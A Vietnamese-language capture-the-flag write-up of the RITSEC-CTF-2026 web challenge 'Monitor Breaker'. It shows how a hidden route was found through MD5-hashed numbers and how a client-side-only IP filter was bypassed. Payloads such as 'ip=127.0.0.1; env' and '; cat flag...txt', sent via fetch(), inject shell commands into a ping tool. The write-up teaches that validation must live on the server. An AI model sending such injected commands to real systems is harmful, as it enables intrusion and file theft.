[RITSEC-CTF-2026] Monitor Breaker - Command Injection qua Client-Side Filter
Challenge Info
Event: RITSEC-CTF-2026
Category: Web
Points: 415
Vulnerability: Command Injection
Đọc đề
“A maintenance interface leaked into production. Your job: interact with the system monitors and extract the flag from this broken console.”
Maintenance interface bị leak ra production — đây là kiểu hint kinh điển, nghĩa là có một thứ gì đó đang ẩn mà không nên ẩn như vậy.
Enumerate
Trang chủ là một System Admin Portal với 3 mục:
- Network Health — nút onClick chỉ hiện
alert('This section is under maintenance'), không có href - Performance Monitor →
/_sys/c4ca4238a0b923820dcc509a6f75849b - System Logs →
/_sys/c81e728d9d4c2f636f067f89cc14862c
Nhìn vào hai hash kia, mình nhận ra ngay:
c4ca4238...= MD5(“1”)c81e728d...= MD5(“2”)
Vậy nút Network Health (bị ẩn) rất có thể tương ứng với MD5(“0”) = cfcd208495d565ef66e7dff9f98764da.
Thử truy cập /_sys/cfcd208495d565ef66e7dff9f98764da → có một trang Network Ping Tool. Bingo.

Phân tích Ping Tool

Form cho phép nhập địa chỉ IP và ping. Nhưng khi xem JS source, thấy có validation chặn ký tự chữ cái — về cơ bản là chỉ cho nhập số và dấu chấm.
Vấn đề là validation này chỉ chạy ở client-side (trong browser). Server không có bất kỳ kiểm tra nào thêm.
Bypass đơn giản: dùng DevTools Console để gửi POST request thủ công, bỏ qua hẳn cái form:
fetch('/_sys/cfcd208495d565ef66e7dff9f98764da', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'ip=127.0.0.1; env'
}).then(r => r.text()).then(console.log)
Server execute lệnh và trả về output của env.

Flag trong biến môi trường trống. Tìm trong filesystem.
Tìm flag
Đổi lệnh sang ls để liệt kê thư mục hiện tại (/app):
body: 'ip=127.0.0.1; ls'
Output có file flag-9d444ad0f475b52e79a1713f25646dce.txt.

body: 'ip=127.0.0.1; cat flag-9d444ad0f475b52e79a1713f25646dce.txt'
Flag: RS{1_br0k3_17_e6ebced80740d006889f26ceeeee666b}
Tóm lại
Attack chain:
- Xem source HTML → phát hiện pattern MD5 hash của số nguyên
- Bruteforce số 0 → tìm ra route ẩn
- JS validation chỉ ở browser → bypass bằng raw
fetch() - Command injection thẳng →
ls+catđể lấy flag
Bài học chính: client-side validation không phải là security. Bất kỳ request nào từ browser cũng có thể bị modify hoặc bypass. Input validation phải nằm ở server.